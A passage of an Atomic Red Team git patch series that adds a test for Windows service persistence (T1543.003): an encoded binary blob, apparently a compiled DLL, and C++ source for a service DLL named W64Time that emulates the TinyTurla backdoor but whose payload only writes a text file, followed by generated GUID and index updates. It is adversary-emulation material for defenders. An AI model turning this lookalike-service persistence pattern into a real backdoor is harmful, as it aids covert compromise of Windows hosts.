zW{(f2Vl@CAn{QH0HQH-QV`F_|0{*Eonh99_mk*<v8hF1dZ4ta+2|OizWh2HfnfQ3B
zPn!YnSgFmEv6K&fu^w?8CpBpeh^xft#ivb0Z#W6pGT>>#ze<cos)3<zKgG|;SdW^>
z(b>Spkz5cwRfERyTCRBQkqGC4R@a{`2M$J;R4$IKq}uUi_49*pT2t&K$ZI4=0+zte
z#^Om3S~@;=zHg+@G0;_diTO8-mSMd?Yfx@GI0rkqqsGkk;okO})s?pMw6$s36703Q
zksfN^3T5Xp2Zgp6qu0e3FyfmaFsK-<cf9XR+{$lIQLGd2EeS53hvv_QX*VJp`FNj|
z-@Xi*hL+-p9aJ=bK3HoSkCtiY;q@!3j}xVYbDQw50e|0_55Pa`pOv#H-l8Cv{qI1s
zt5m;NU|k!m>pJV&Ze4B0R6T9SZRtTRK}nWLmY21CthiUYR(c+%XSESpSB2NoeOI(v
zX`=T?@EmsM*r|&b%(h;nf3{65W<GHy%I{Kgc;C9(Df~z*KM%|K6F&#bPr>ptu>1rp
zKmW>4zw)!M{NyWtoCi&Xf0%-nI~h4ktUSfYH6Jau&PLqnS_#iltBnMeCctGvbtL=`
zy-qb^2p1w&jlxzSrVf}#${#uC4tFI|I4dIdv6#Je&N;Pu;rR{KOU|oaQL=m%c*6Y!
z!Rp2pGb=H6P*K7u;wM3U)yOFK)3oz3o1CuA(uz>u5=dnhcwHtEBAqF?Q?t6R^Gwbb
z<MYhKS*DsR<^$g})R^<n281cqo_}hlJ0JP0P^uXC)w-ZvDy|_F(^-dhzV717iziY}
z5KAq_1=Xi9zfIxuS)Ww$o@-v@Gb5O$WnAoHlxC+5LHH2-l_ISaY50uf*YeB1RoQVD
z<i38*B<ZuRUDCfMe!9@<B_hk>FW<WQt!sIAeD{Jcm7J15N&+bfq$KdwO2FA&RQxPW
zD_@+(wa{LPFh`9eUo*lR9rrc@;<RbtL(fsh`|(FQ$$lG=-~KuC@98GLotHHBIr4Po
zh3Q-;<=#%#9cfy@67=o(>+Q$=?Q%!HH3)CUUw%EV4QZN*zrOrPleGDB){A^3`&A%+
zKP$nR-|Qy8jYDXFH~Y80ylw>DcxffCav-a4;Iwf&ujF;PBhRe}@5Wz#FY<BHbJnw4
zdUqzbC#@GctW&llPj|fK13!Nm_)Fl&QC2c^0<^E?jy!7|VP>`QGTbM;j(V~T_3CG!
z6JAE~XX7W|{Mq>{y2)?1N#@;mTbia{nx<ioj<-GjSgyj6ufY*!LE^H1&UzAmvY(TW
zc9h+XeAx3#mNg-cIZS81#x$)nFDyWuHVr2~q?7Dt=VjVDl&t_>>@g<Gnh+=U@5py6
z!}v?ald~Xc*w~%?k#4e|lfS&%k*5hV>n5+WJh5dXul>tMI2mumY144>LpsTRc3!4c
zz-HGWAJ+7fWle}<xebndn;l_hBrf~s<b(KAzx|iM)M>@j1}=Pl(9heSIOmq7&(GZO
zM(%d%pm;ntY~~b=nmTH_>>L)Cmd;sz`l)k@tLFt5&aw9q8|KebG>^rFf7HS;Dk=q2
z66jR|ZPq?`uNhMrQW8i>K%14V&XuG@k&-|%3Ahe+=N^3gP}fn~fQJ5@pyB7rcIRdv
ze=y>PGz{)3?kIQeQO9Q^->`<Pp7JH5VZ|Neq<fe<_psv+0=~fwgZ39+GM<y+>w%YE
zWsnS?$DQjrevs>UtzSc$&9fDElrt_F-E8-1*<%lOozk0}la=iu?pTLRhfh%Ywc`dH
z?2@yZPCXy%q@PTu$>NgHPo{%p`I5z1Wsh<4V&zM)kz}$>7MF}hvU+?Oo-G=-Y(=I$
z#3j@t8Qo;{uy{V!*~XI9t&efTt$ewbjT|@3rTw9qqwtD%agj-pZ8IlXd1y2C{*=q&
zXQY##WOB9I%1CEhKG=QQ!DENI66DZVz9%R<9_`?1IVT?Y4L?Wup<Ih6@|$g?CG};U
zWFR=KIJ?f2%crYEE>T=WE=hf5ANl{v%O<m*zWOJN=LEa8@Z~z&UoslWbe$|;GPzj!
z68w$D^D$04vGOJOf+O9zM;?C|Y$vP1WBXa3JJ)yo5r{ja;b1Fn_-N&iCt1FC=OHd_
zS13&zBpS?n0l`=Cmp0TtEKTdLX^*7UX|Ak(TGqsPUpLI+=~#;=+Cu-;M3Cpf<p}(x
z4{gXw(?;zE;1b{CX^rVmbivaZZ&DjL&YgSQ@kgQ0JG8-T*DHzahINV~Pd`>X{S248
z@s~C<AMBt`7p9%vg%`Ws+kG6%|3=DJyv?#~1H&v{PO^Amo-ZU%-hh@gEfarfLmQOb
zewmh5z%t#{F~PPv@h;_(#0@WUmmD_fAlD>I?rg`3Gtf!mPi#MRqQfWnY@aZ}U2^cG
zp{^NL8tveDRN%+T4qiv_cT%5QQJ+IK?MLZpbF{p)SKZoiY2U`*q4+yGN&ReJbDG1~
z+-Un6t8LhRi1i#^s`PuTB~xerYp3Np(qeuq2`<}yY~L+%Ow#tiW64pIvR$JcJjQ(G
z1m%M#IApfl=06E8o2G3yLNkf(Z2csR-41oT5AAobYq-;=B=b>8@C~1+#-JruS?cea
z@1gOD{t9kJ@DBVvj6bda(0ostmY1KFmX>}WBGO#V6^OvmucGv{Gt<`(OjC!~yVz={
zcAu;cwvCN**wLYD(zLB2v%F&v9D%>|p}RqGltzC5y7#56NK0={!{NSOX(scDN#v2V
zA4{gM9^w*wdmr`CXZ>5g!?ttF_D?%*>``dX%D2(>Gem#!IYvTX&_lhG<x6M>Ny-lI
zBn$ep=fh;6;$>Wf6T5x~;;-zo32mdV`n34%m2R>&l#E7_INRsjG^GAltNP<2^&i%$
z9P|8B^5lJni_4(T&r&|WA?*Vtvrg?M8J*Kn5OOYL`R;s1GW{%3<(hgbmsIXa^pAWp
z-W*}IUE!lseI?EsTO8#aTO=FjB%v{Epi3M0T}`9hPFjnq=8XX?z+c+X-AZivX$`RV
z{^**=q?Nmv|90H-I?uXJ#5L2UW%6p_bEUhqbl%%nJO5CZHk9$6{+efchUPhSfaV!9
zxPtXK)}5xg1N}AM-7c*Vf9t@7!~=AWa}DUH4VZ{IYrbUBjvbP&4f&sR%?+HpQTBEG
z?Y7Gk@BD!h_W|PfIOG2`NMqdR{IlbMGFcpPCX`3M&a|YyVEfo~I90gq-5XrmU+`BG
ziPxoboRpbo$?E@W?`*)My2?C$?j)f=Qw@j;_G?<xl6CtrV5}_C&IA$~D9`}{P3y;<
zNoK-KnaqqclMuQ{Q>>U;T2mG+>vnyHkdzT9jV<k_mez>W2iLZa^h0#1#!6ju(ayHo
zWwqA*y>rhb0}X|MJddk0&-3T^-gD1+?>X-|_uPBKoIAoXI=0L=@9AQji|WLgnrp1~
z%JiL!`8bIw>FzQk`+rtOuc2;78Tv2x$@Skj7W$8Fu=2{@4PQ4@KPnq<<-HU874#v!
zE#-4%2RYtQ<MCk#XKJ!NMz+@s)nnm9hN^zpP;Pt)2YoGK9OcU9+A5@MuI*!FyKBhT
zgIuu2KW?aAd<h4A$(WQeCS|2<GxJz#s8ZP;TcpPB9u+O|WQ%bxW~lc!ke(Zxr%I`#
z_?P&LKiR%mQ_{t6E?u^B`Hx5GZ^?H&=E~*To1;#jbYY1)r}7SUj<Hsa;+&Q1m0f??
zVp928YP|1GHNNr-YCQYTK6d|wqbTQ8qXvqjMIM`5$_`jzRu^&68(n#g>fCLpSCPHb
zmJQ@Z{CjMgF=4ct;2WzZ)QwRSDzO)paU|NLV>C&}dINnR?)Q9``*@_@W3woEb90U4
z?P6PVQs`_I^1VQKUNlNGV+Tg3NA*)%x6A=j-_Cc*k;q?GBF{savFXwMqdeIpb<z2w
z)%gdD)q4}?sB`K{RY~Po)&G>CevJ<2wddHh!7(+?P~#eOU8IjB=CUn(`54N6sk7{t
zw#01FVaHmwe32SsOi(h%%4e{gj?-Yd(jrxAJgG`@`Eth}Tdc-bj#6W%N{>_inC(gL
z<@oDu4vCLTGVsazyja^7ta;<yG3s37ed^r<=cLc>9}^wzIm?mzo9d*GoUO_aE>`7<
zMXKDlP?cA@Rk^W1$upn$_Sh^());(_vGnZV81(Q=C!a}^Z0aoI&TM{{9+%dh!oP(G
z{Ov~IIi3yW)AuEP66J+LzE87X(!b0TA{y=^-<^?9?)xDVv1f5k=6}lAknaG=CqLgr
z=Cxx#x$iFJ=ev~o`q<9~uHo{D4pT2VQpa)Xoc+EI`}6&OPx}&oxzB|<F6ra=f2Ww_
zd=z;62;|~FbEEZLC+SVmG`43T7y8+I4YdF&mHP^eFBDRXS;`h{^w0MO!^d}D*z*?@
z0Xub(UOej^>U2-uzNuY5z5Jj5Ua4n3Y2VlMy!Cx$885jpl20in+v5L9JO9W>UZ|4y
zk^P0wPy|vRKYCr$70#-qtnD|m?`Sc3M~i8_qs0|Z_*|}&C@0H7kIhW6;f^!-ZkdzJ
zFZGh8-@{}ds@UJSHC&vX<qh6=u+fw^JvOv7xvG~q%VjmZnTUCViMXrU3h1z5eJ6js
zlY)1ZjMU@N9rRBABTd#3MpEH-^fz*M!;afrJcAKpH-cD7%ZIBUeoT7EKU@b4m)}`#
z&WXeuT(!d#7%so86*hz6rbzw?d~`Pywh9p_M4%9XLIesCC`6zTfkFfd5hz5U5P?Dj
z3K1wopb&vV1PT!-M4%9XLIesCC`6zTfkFfd5jdp?@O#JV1r+5w&Sf7ll!?+T{Ah>!
z&;h=%o`IKKWvCSCF1Q}8`vUJXgS)0vmbEGUA2U?V47SM=h0mfSixD!g<QhZm#E%<(
z6S+wrfD4_5dVV$e;Xbre^22E^L)A%scn{iu&tCW=R4RGkoGQLU%z`%$d<xZL55NgC
z4Yi*<4tOV8husT*Ty3aI>}U=3LOw}{1Lz?BGw{aQh6>@Q9rmJi)S(|{kfOcnT0=R|
z5s3qgqBioh!(Mb4pZzd{LgZ1kv;*xWPZTCmF>&sN1F}te2HNLPZ~Qyp7Sx8HG`w~$
z?ZQtK{^2@~OPoFP4D}3B?UaS~`5gOJ%EEh4JL}qd;bRM^4{cG`8)_BWOa3G*b@N?l
z(jD+V^xHMm8NP+qk*91S-|IoE=ob%s1O>3u(6@*>Q_oKLDr)--`4=1NlPHNDg-@Ui
zb{dw~aa?Q{ybE=5tR(zB3SgHlp^s1nd3s^_QsRK^hD&asA30VMK8@<gKLE?>87I`!
z4wI;#_V&ZXjf@9rJ6wAcZ6{AZeE-J{HA7+xZ$wGbqwo;gNqX5Q4D}Caog5dgL<g`t
z;bUkO$4$fYd6(@B(jBlLJxzKB`aWf-^XSJ;_!Ls)8Gsj<j1`G9^dXmw6L^7#KBIr#
za5t);4g*53p*}(Xx?vZx%Q*!<)L^JuNrzo%C;t24_(sMO{o;UYP&f5S!q<?GJY_z{
z1=>Iz24GJUF(kiz8L>q!>?quW`fei+d^NzBz;*=<^?BqbR!LZLGkq;Fhwlr~r)x=v
zcQrGX$e)HP%yA{2(1k9eK5p19+t{6OFDk|!fD<DK+W}RS^8woh`#x=`?fAFH40SI$
zh}{n-#ECz3aKP1Kv&b<CixTXUy1~z)3aK-E0d>;G4E%fxezAMu^j2bp?SU_$BluS<
zh!rX&&I7Q#jk=M?1#d@v)GY}+R#H!CFRZ?WF@PO~Pa-$<8Gz&dkr;A5+TlXvqdp$E
z9#!H$3HPBk>32A072|vr`QZX|7~2E8BppBf(DoVP$UI<&UQ|wcJG^)`?d7;`_yh_u
z{s&;?t&DH#?}i<yo_Z$XuTX|@sM-xR8|}f52Yvx{U?<_9kO$j-8}UTvNm&?NLz~5h
zzeF1)Zl5*OM^G90-EjQvTq787Zg?xYj5>6}esq{TY536RXbXNauzD?PYossWf1m_;
z)aO|jgAURbdxxQZg6gr$?jTm{h$rn$!)<rt2ix&Q`l^$24WAyk6}gFRKfHcD*Af{&
z(6)i`kL`h%e2KYRY`6i1DBBBvkItk1Wnbnxg>ENL27d5f{7^RsY((?0qwuY-Fm9+r
z=3fl;fq%spb`++On{zM&=Oj5t@G}7CchPs)z3_F^F2~wT{Lw+ihP~TRn^7&-h%~&a
zhj|j)4Ie~qNr%5d_1NluLoGrc>?r&JnuzU4;ah~AgioLj?ELjbvi4}y*N6k_kA!EV
z4($B(RI=9U9@I@);U=_8{J`8gs{FN2vIZ)*UP@TIm2(rH!ujYjY@r9au!YZ|I&9ZA
z#tiDl?t~Ac`>^}rn`k?B*>*$CMZ2&)u>Jw&L+m8Hb_e4byB&TNrLoiS><78Wz_!CJ
zXx`nV!?9myo+sS{Uq_=!w?D+(_%LG(yBD6dlQ~(^;apUQ?SWrLostJWg{r@ZPf34-
z{9?nOpn2FCc*~=d#qNdU|Bd5P)&W0>&Lcev??Mx>lQ4}cu?OJq&<t$VXDB}^#cqc?
zP&sx#d;wi1`QhI^#<_-n7p(pUvBU0!=RVF@m2?<E2eI4XH_>mg({TPSu8-JJ_&7>Q
zIxKpE^Bvm`uR%VJ<%R(i!j8hb&^qiS{5IMk^?{?Fq#v=%;52kQwi`Z<R!JUs;Wz1D
zYzJ&XJF$D=5wr`tte@*L>c&pOAEE@d`WDx2v<KS_6X<E|cG!)c$L@vCpaa+g@O``S
z&$=E5OrTxZ`D>MA9n;=#6LZpqub?{Y-aU-Zr?^&O=dT5lbwc&uA^jd(mND#d?0#tf
zE_IXq@TaH)I|Cp2cj8Zd)c1%b3Xt9odr&)e^l5Aq5I=DJGo1U_Y4~$gi=Bb%o+YM|
z2Y&zioKx8Lw4uI^>ahpl`X6w<NglX*AJ-l1UReGd=RUR@HlcRxDEu7iz)r$fP$#zI
zdG1wSU>+CyMMK?&HcB421NCC3Ve1bWGm;J;MSYSEZ{E+C#_ojs(0=R;ocbfKQ`m0!
ziv#pG_P|TrZ~TODzMg)Ep`S8lu+wn$%d`>O@pD6c_#pAYZillE(H?B|C+2xH5!((g
zMRv*mZkwt@dzfQAuopd#orb?d)8t;g%%&!zT5NgUL_O-|x)X&DqjKytd=pj5^=O<;
zeH4{)J#|4JI>3A$h4-R~TnmzL4?2P^Yi1827xSmAzZ^TBV{%T(`bt?-IRjhhLe<!^
zHgY5Cz?QX*zedkv%X&CF+TKat58Bic)P~Q(rx1Zc1PT!-M4%9XkwhT<8|&K9t2vUg
zBgxxt$cjZ?`K{TY>DH{)oTgc!IYHB=d01I~_G#|Y?9yDT8Poifrc1M2vrO}iKUwX6
zS@UVlM>V@OJ2h|797)^HMBayfYt{P=&FR0hwpVNJ)+~O*O0U&ir}?zzdH-YW_i1j|
zd|A_e#M<xC{EnvMf35VJHItg9zqit7Yu>K8S2Lq|)gP>Ut(w1h-P-QfY|y+w^TpS!
z{Tno2)8q9+y8X2}y;L*(-&Xz|ns;l4HAA}GyI!^ORcOxD3~Ao2xm|NWvovFs^JwnW
zRNDUn%`?&WXTs;*Z(8lyqZ!q_Nprg92Q**Q{kBW9Tk|WLotj&9ew*f*sQYj}59{L(
zx9`u9w&pD>USHMxhUPxa0nIlwm7X_BH79CTYPvMtnw}hW`AaoFpgCG|w&rVpwCZzE
zbHC<Z&2MP-YTmEeskv5jwPvekNYkfzlcrm9s^-O-6E$s`Z)sNQdfunE{~UdACVV9S
z(~6_`J}7g{0MCNI97+o?uKIpvQ>p(NN;|;V9(|DKu){-XzaecuY5ViiLiFjhSIB#4
zDBpUnYXOdNyiei!Y{jN<eYWCIxISBPC|sYdI25kW!_S<B>$5dJ{@Sk3583#I-e5f8
zkLh=f%u2*UwcfCgAG(*H@qNv<*q_k5_)X+Q3qKNGRlT&zJ?FzyuaH-i@XNzar^DoT
zmX`<hn+q1!R8_Hf`zED&*f-_v`|5Avl`>AV-g@<d>6c$sx7K>!SXJ+?nOQAm@0A>p
zmV_B;GGqLRy<R?^m*dhBXG@shh+Y;*n8&<p;l?U+0Y~|$;dIUn`dspJ?;-6#YG+=@
zPW6)EG_Un1mW3h>)-S@7B|qn^DtArQQmKBhIqI4+)kUEmo6{Rw;awRw!;!{FxYgAd
z@%bBD6L|~V7uL+Qj&3V<2E#7iMPOxdRaY-D=QqTOqCeqsSq+xVwN*7$`FkV+Q%Dn1
zgX#}w?W$~4K341`CVyV1S4te?fnd|A`K{8G%~tR+E2fR!6Zu+9C(t<BxU|XJNI-Pt
zr@ADma;i(lz%xb8Ws!)_b@Uqq1_P`jMb4&>cUgRx47Jk3vrC*Sg1$sxnEmElGSnPz
zKSN}$IhQJ2DWg00LWGliA;cUR|9HPcM*j%QF41N8(sF--n9$YM+bvG=;1V3(aWWW9
z>hX(WXFS@HI0aW#Rkhhs_e;xz4CWD5Mgl40I2%m0q{!)S@HQ?Vsh>GCO3no7(`SiH
zG!Z)u7uOd%qo?Pgo_3sOB~+YtG_)|Wj4-A$y6UsD>u!35>FbmnNHiS|Imf)T<ut>g
zel2Hxn2GRI>Y_U~ll2h{pN@}TWqo*Cy}{7PYr?E8bHW@($LaOUBCcHS@aeVW`mB%B
zYsnvp#+)!$<x?49MB>fUDW9F&8Dp^4;g}*L?Ya_YTbx;K#M8)pxnwhqR9Vx=0`bFy
zcFKPAbo810`T2w|yUESWJ8aIzkl#Br0iCd<+;P;`nhUa5wCp*Xy$2ZVmXSCZU*b#z
z{Ua%wojI50hCt*5?+D7?<ftzeJ7Ye1@lmeWNmTLZ<DB?vWgRKV6+9RkI$KZbK-ud+
zY5tY@gvD~#<V*5PohTUDcY<Z_W*K{fAv|%@rns`5y*7V*oz$^%V{9I0|Ml^vw!!$H
zRO#$E<GhW^T~SLsF!IveXfCzxb06m1pB;=u{o&k=IU!hL1|u>m<QA>EHhT?viSZnW
ztZ4RzSB`k%woYrgrvISG$zA$8-ziUB>KMGKsZ#S7FP-I{Qt7D9K7{;}JS#NFYu$!k
z&&GoSu4kxbe{*AWrBYXm)f{Q{tBaIr(zQd+3}$0Qa$Nkjbf2Hjj;vICkAGHMTU{U)
zSy9v0=#M6Xk?ac@O-Y^|^EUhSBU7dP%nPYzJnC-@Ht|xjfb}fJTf2u%=P|;1bWxY+
zqYu8#%G5_ULp+};buRlGTVgSPIPYmkoi|)6?FlFRZ3%v8!ZceOV+nc8nIG}Bg#5F4
zN7@4Fdjog2$L_P*aD$qX+cPiX_00=5#JsVU@+`P?)}kc~>gLR^8H{^=iaEvVi&leo
zakY9wL7y4*N@#etRBB2Ik>q(#ekt0V6-!h%EL-G{Mq&w7ZJ1mW=n#3?n#u5L^2f|*
zBuEQladlI1Q)4I+_bU}FZpw~orEV^6qC}%wo@F!=SF4Mg<OWx*DQ?1xPu)@6#GR4s
zu^T3)e|hk#N_A&((~4Lyfv*cn*xkyp)W=I&c(kObdfhM?U(2&^kyC1Vk=YW?+ddyZ
zF~8sRH7rvlHnTZ9(6U>b6ff-yg?N=<K<zKKb|_VHbSrOADj{(RCTLZ&Y8kRkzuIjx
z<Nkmgn4P9PR6mN(NVqAutR?0*!@R37vVu1jE^Afl(^knK@x5hmmp|MZj77rD3=R1o
z;p}mAj!4+w7EG84Z$pT7KVmau`f=aXdzyHJ&JO2S6eongu_fWp?Xn8(rY?*i9$Imv
zzLncDKiv`}TG>R^O{!&GCjHF$X7YD}imdIWZ<Pu#ra0$<5gNu>7&cqu(HMQ)#LnwV
zBq+f!hfwzwnM@|j{ZVfsAm#eljz>emgii34tZ0mD|1H!@-Ye(J&H<O$805386NEFB
zVKB$1)aQ!k#Irvwyv!eS$NX^#QJ{E{HyHQloyl($&2I@Mf-_ep{B@BVf<FH&ULUB&
zjmnvIk-`1yh2lkt&@68>LEp^M=h*>Cn-_^JZ;8&<@vI3aV$3N&mpw~^u|$hEv?RPD
z7^Y7BB}>BAwBQ@81Lq|{Q0mqa{@!xj-S)gTx?_<>e>|?fT2hybUM@+kqt$vN5}WPk
z&o(iCuJwzG7q<9gE8YHBQzXW`-AF51<YZG9z1=$@d|gr(ujEfe&2_<Me^p$j5V3gr
zmb*)9pe>%qBvmWt-jB2S6JDAeox@A{Zcw*LiZ%V@rWkdzq|M`Hmo@UoAEg!+Q8-#9
z(>G6vV$bGuQ|d{{r<)?FO8u-vhcnv@ewoXVoO+s4eYyNqJ|Er92)eFj(Sn+JxxZEo
z|JThzY9RuJ2oxf4`VlbB=;!VAJEMoQoWK2`g_Pq)U`g50zoUKZcIUXG_g{a4?c*M(
zu;c$h1Xw#kEm8Z?m1SK8365dX$MAbCwd{*dDN_0Gi9fo0VJjDb8P2xmkiC^hMIOno
zo;>9W$7H)d%>TFr!^^IoyrgdS<<lnH`Ey&?=MC}1bM@qv{`h3)HRp_-;f=@r%?+WI
zb{vG`S5Iz<g{Q|G1O8@j{PN~tV=NMnG$k(QX=S=M-h4&tl*x8(mV-_FMPO<E(Zto2
zIbUq#Dpug%W&~WUJ)-4hn^Ipp^tFnufvu^nhqhL13v5emJG5=u_S)_B+XLIDJ+SeC
z{SQ>^n6{&KNBxe#j=+P59z61(a@*7@$_A2s$s@^Wo7y(@ZQ8qO|E9LCy<PjeYBzUm
z-n)5XcSZNK?)}{rJ%OH%p3a_)J^ej<d(u4vJ%@TSJx8{v)aX=2%8{Cua;0ih?o@rs
zlM1AwskT&msw35z+L%hF_NLOQB=s4fMwx9#wyEu-x62Ppm2>PvU74;UU25~_&6&+d
zHuv41zJLGyZCl#6bZqI|qN1$NB2UMbzO5?Bx+&~VYItN*MVDuD@8+^@Pj_#(>T&dV
ddX&9LO<=!DmL=^;N79v)jl!o8fxqqu{2z7pEtLQO

literal 0
HcmV?d00001

diff --git a/atomics/T1543.003/src/W64Time.cpp b/atomics/T1543.003/src/W64Time.cpp
new file mode 100644
index 00000000..b6c73e03
--- /dev/null
+++ b/atomics/T1543.003/src/W64Time.cpp
@@ -0,0 +1,98 @@
+// dllmain.cpp : Defines the entry point for the DLL application.
+#include "pch.h"
+#include <fstream>
+#include <iostream>
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+                     )
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+    case DLL_THREAD_ATTACH:
+    case DLL_THREAD_DETACH:
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
+
+SERVICE_STATUS_HANDLE SvcStatusH;
+
+//Initialize Service_Status Structure serviceType and CurrentState values
+SERVICE_STATUS SvcStatusS =
+{
+    //dwServiceType
+    SERVICE_WIN32_SHARE_PROCESS,
+    //dwCurrentState
+    SERVICE_START_PENDING,
+    //dwControlsAccepted
+    SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE
+};
+
+
+DWORD WINAPI SvcCtrlHandler(
+    DWORD dwControl,
+    DWORD dwEventType,
+    LPVOID lpEventData,
+    LPVOID lpContext
+)
+{
+    // Handle the requested control code. 
+
+    switch (dwControl)
+    {
+    case SERVICE_CONTROL_STOP: //Notifies Service it should stop. Should only return "NO_ERROR". Same action as Service Control Shutdown
+    case SERVICE_CONTROL_SHUTDOWN: //Notifies a service that the system is shutting down so the service can perform cleanup tasks.
+        //Manually set state to "SERVICE_STOPPED" After cleanup commands are run (none in this case)
+        SvcStatusS.dwCurrentState = SERVICE_STOPPED;
+        break;
+    case SERVICE_CONTROL_PAUSE: //Notifies a service that it should pause. 
+        SvcStatusS.dwCurrentState = SERVICE_PAUSED;
+        break;
+    case SERVICE_CONTROL_CONTINUE://Notifies a service that it should Continue after pause.
+        SvcStatusS.dwCurrentState = SERVICE_RUNNING;
+        break;
+    case SERVICE_CONTROL_INTERROGATE:
+        break;
+    default:
+        break;
+    };
+
+    SetServiceStatus(SvcStatusH, &SvcStatusS);
+
+    return NO_ERROR;
+}
+
+VOID main_payload() {
+    using namespace std;
+    ofstream myfile;
+    myfile.open("C:\\ART_W64Time.txt");
+    myfile << "Hello from the Atomic Red Team.\n";
+    myfile.close();
+    return;
+}
+
+extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc, LPCWSTR * lpszArgv)
+{
+
+    SvcStatusH = RegisterServiceCtrlHandlerEx(
+        L"W64Time",
+        SvcCtrlHandler,
+        nullptr
+    );
+
+    if (!SvcStatusH)
+    {
+        return;
+    }
+    // Report initial status to the SCM
+
+    SvcStatusS.dwCurrentState = SERVICE_RUNNING;
+
+    SetServiceStatus(SvcStatusH, &SvcStatusS);
+    main_payload();
+
+}

From aeaded3b083ddaf23398b64f38282b5691054b91 Mon Sep 17 00:00:00 2001
From: CircleCI Atomic Red Team GUID generator <email>
Date: Wed, 2 Feb 2022 16:27:51 +0000
Subject: [PATCH 3/4] Generate GUIDs from
 job=generate_and_commit_guids_and_docs branch=master [skip ci]

---
 atomics/T1543.003/T1543.003.yaml | 1 +
 atomics/used_guids.txt           | 1 +
 2 files changed, 2 insertions(+)

diff --git a/atomics/T1543.003/T1543.003.yaml b/atomics/T1543.003/T1543.003.yaml
index 338b07ac..5e1f6018 100644
--- a/atomics/T1543.003/T1543.003.yaml
+++ b/atomics/T1543.003/T1543.003.yaml
@@ -92,6 +92,7 @@ atomic_tests:
       try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
       catch {}
 - name: TinyTurla backdoor service w64time
+  auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
   description: |
     It's running Dll as service to emulate the tine turla backdoor
     
diff --git a/atomics/used_guids.txt b/atomics/used_guids.txt
index 7aff52be..f27565b5 100644
--- a/atomics/used_guids.txt
+++ b/atomics/used_guids.txt
@@ -850,3 +850,4 @@ c510d25b-1667-467d-8331-a56d3e9bc4ff
 deecd55f-afe0-4a62-9fba-4d1ba2deb321
 d239772b-88e2-4a2e-8473-897503401bcc
 eb8da98a-2e16-4551-b3dd-83de49baa14c
+ef0581fd-528e-4662-87bc-4c2affb86940

From 454ad2308db382b4276ee290ec6afb22b2fb434e Mon Sep 17 00:00:00 2001
From: CircleCI Atomic Red Team doc generator <email>
Date: Wed, 2 Feb 2022 16:27:57 +0000
Subject: [PATCH 4/4] Generate docs from job=generate_and_commit_guids_and_docs
 branch=master [skip ci]

---
 atomics/Indexes/Indexes-CSV/index.csv         |  2 +
 atomics/Indexes/Indexes-CSV/windows-index.csv |  2 +
 atomics/Indexes/Indexes-Markdown/index.md     |  2 +
 .../Indexes/Indexes-Markdown/windows-index.md |  2 +
 atomics/Indexes/index.yaml                    | 60 +++++++++++++++++++
 atomics/T1543.003/T1543.003.md                | 51 ++++++++++++++++
 6 files changed, 119 insertions(+)

diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv
index 7763acf2..62af702d 100644
--- a/atomics/Indexes/Indexes-CSV/index.csv
+++ b/atomics/Indexes/Indexes-CSV/index.csv
@@ -266,6 +266,7 @@ privilege-escalation,T1546.003,Windows Management Instrumentation Event Subscrip
 privilege-escalation,T1543.003,Windows Service,1,Modify Fax service to run PowerShell,ed366cde-7d12-49df-a833-671904770b9f,command_prompt
 privilege-escalation,T1543.003,Windows Service,2,Service Installation CMD,981e2942-e433-44e9-afc1-8c957a1496b6,command_prompt
 privilege-escalation,T1543.003,Windows Service,3,Service Installation PowerShell,491a4af6-a521-4b74-b23b-f7b3f1ee9e77,powershell
+privilege-escalation,T1543.003,Windows Service,4,TinyTurla backdoor service w64time,ef0581fd-528e-4662-87bc-4c2affb86940,command_prompt
 privilege-escalation,T1547.004,Winlogon Helper DLL,1,Winlogon Shell Key Persistence - PowerShell,bf9f9d65-ee4d-4c3e-a843-777d04f19c38,powershell
 privilege-escalation,T1547.004,Winlogon Helper DLL,2,Winlogon Userinit Key Persistence - PowerShell,fb32c935-ee2e-454b-8fa3-1c46b42e8dfb,powershell
 privilege-escalation,T1547.004,Winlogon Helper DLL,3,Winlogon Notify Key Logon Persistence - PowerShell,d40da266-e073-4e5a-bb8b-2b385023e5f9,powershell
@@ -699,6 +700,7 @@ persistence,T1546.003,Windows Management Instrumentation Event Subscription,1,Pe
 persistence,T1543.003,Windows Service,1,Modify Fax service to run PowerShell,ed366cde-7d12-49df-a833-671904770b9f,command_prompt
 persistence,T1543.003,Windows Service,2,Service Installation CMD,981e2942-e433-44e9-afc1-8c957a1496b6,command_prompt
 persistence,T1543.003,Windows Service,3,Service Installation PowerShell,491a4af6-a521-4b74-b23b-f7b3f1ee9e77,powershell
+persistence,T1543.003,Windows Service,4,TinyTurla backdoor service w64time,ef0581fd-528e-4662-87bc-4c2affb86940,command_prompt
 persistence,T1547.004,Winlogon Helper DLL,1,Winlogon Shell Key Persistence - PowerShell,bf9f9d65-ee4d-4c3e-a843-777d04f19c38,powershell
 persistence,T1547.004,Winlogon Helper DLL,2,Winlogon Userinit Key Persistence - PowerShell,fb32c935-ee2e-454b-8fa3-1c46b42e8dfb,powershell
 persistence,T1547.004,Winlogon Helper DLL,3,Winlogon Notify Key Logon Persistence - PowerShell,d40da266-e073-4e5a-bb8b-2b385023e5f9,powershell
diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv
index 0c26c68d..e924ef6c 100644
--- a/atomics/Indexes/Indexes-CSV/windows-index.csv
+++ b/atomics/Indexes/Indexes-CSV/windows-index.csv
@@ -171,6 +171,7 @@ privilege-escalation,T1546.003,Windows Management Instrumentation Event Subscrip
 privilege-escalation,T1543.003,Windows Service,1,Modify Fax service to run PowerShell,ed366cde-7d12-49df-a833-671904770b9f,command_prompt
 privilege-escalation,T1543.003,Windows Service,2,Service Installation CMD,981e2942-e433-44e9-afc1-8c957a1496b6,command_prompt
 privilege-escalation,T1543.003,Windows Service,3,Service Installation PowerShell,491a4af6-a521-4b74-b23b-f7b3f1ee9e77,powershell
+privilege-escalation,T1543.003,Windows Service,4,TinyTurla backdoor service w64time,ef0581fd-528e-4662-87bc-4c2affb86940,command_prompt
 privilege-escalation,T1547.004,Winlogon Helper DLL,1,Winlogon Shell Key Persistence - PowerShell,bf9f9d65-ee4d-4c3e-a843-777d04f19c38,powershell
